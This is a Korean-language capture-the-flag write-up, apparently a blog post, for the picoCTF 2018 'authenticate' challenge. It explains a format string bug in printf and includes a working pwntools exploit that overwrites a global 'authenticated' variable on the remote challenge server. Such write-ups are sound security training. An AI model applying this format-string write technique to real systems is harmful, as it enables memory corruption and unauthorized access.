# description
Can you authenticate to this service and get the flag?
Connect with nc 2018shell3.picoctf.com 27114
# code
s 변수에 "yes"가 없으면 printf(&s); 로 출력해주는데 이때 Format String Bug 취약점이 발생한다.
_bss_start에 입력한 값을 64바이트만 s에 저장한다.
_bss_start가 뭔가 봤더니
그리고 yes를 입력하면 read_flag() 함수를 호출해준다.
read_flag() 함수 :
read_flag() 함수는 authenticated 값이 0인지 아닌지 if문으로 확인하는데 0이 아닐 때 flag() 함수를 호출해준다.
현재 authenticated 값은 0이라서 flag() 함수가 호출되지 않는 것 같다.
authenticated 변수는 아까 _bss_start 확인 시 알 수 있었듯이 전역변수이다.
flag() 함수 :
flag() 함수는 예상대로 flag를 출력해주는 함수이다.
# process
printf(&s); 가 되게 하려면 yes 또는 no를 주지 않으면 된다.
AAAA를 첫 번째로 주고 출력되는 위치를 확인해보면 11번째에 출력된다.
따라서 이 AAAA 위치에 authenticated 전역변수 주소를 주고 "%$11n" 을 준다.
아니면 pwntools의 fmtstr_payload 함수를 사용해서 offset을 주고 auth 주소에 값을 넣어줄 수 있다.
# exploit code
#!/usr/bin/python
from pwn import *
#p = process("./auth")
p = remote("2018shell3.picoctf.com", 27114)
auth = 0x804a04c
#pay = p32(auth) + "%11$n"
#pay = p32(auth) + '%{}$n'.format(11)
pay = fmtstr_payload(11, {auth: 10})
p.sendlineafter("Would you like to read the flag? (yes/no)\n", pay)
p.interactive()
# exploit
[Codegate 2018] Super Marimo (0) | 2020.02.09 |
---|---|
[picoCTF 2018] echo back (0) | 2020.02.07 |
[picoCTF 2018] can you gets me (0) | 2020.01.31 |
[picoCTF 2018] echooo (0) | 2020.01.29 |
[TUCTF 2018] Ehh (0) | 2020.01.29 |